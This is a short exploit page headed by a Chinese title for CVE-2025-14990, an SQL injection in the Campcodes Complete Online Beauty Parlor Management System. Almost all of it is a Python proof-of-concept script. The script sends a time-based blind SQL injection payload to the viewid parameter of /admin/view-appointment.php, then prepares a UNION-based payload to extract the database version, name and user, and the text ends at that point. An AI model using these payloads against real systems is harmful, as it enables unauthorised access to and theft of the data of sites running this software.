CVE-2025-14990 Campcodes在线美容院管理系统SQL注入漏洞

import requests # CVE-2025-14990 SQL Injection PoC # Target: Campcodes Complete Online Beauty Parlor Management System 1.0 # File: /admin/view-appointment.php # Parameter: viewid target_url = "http://target-site.com/admin/view-appointment.php" # Blind SQL Injection payload to extract database version payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" params = { "viewid": payload } print("[*] Sending SQL Injection payload...") try: response = requests.get(target_url, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerable! Time-based blind SQL injection confirmed.") else: print("[-] Target may not be vulnerable.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Union-based injection payload for data extraction union_payload = "-1' UNION SELECT NULL,NULL,NULL,NULL,NULL,version(),database(),user(),NULL,NULL,NULL,NULL-- -" params_union = {"viewid": union_payload} print("[*] Extracting database information...")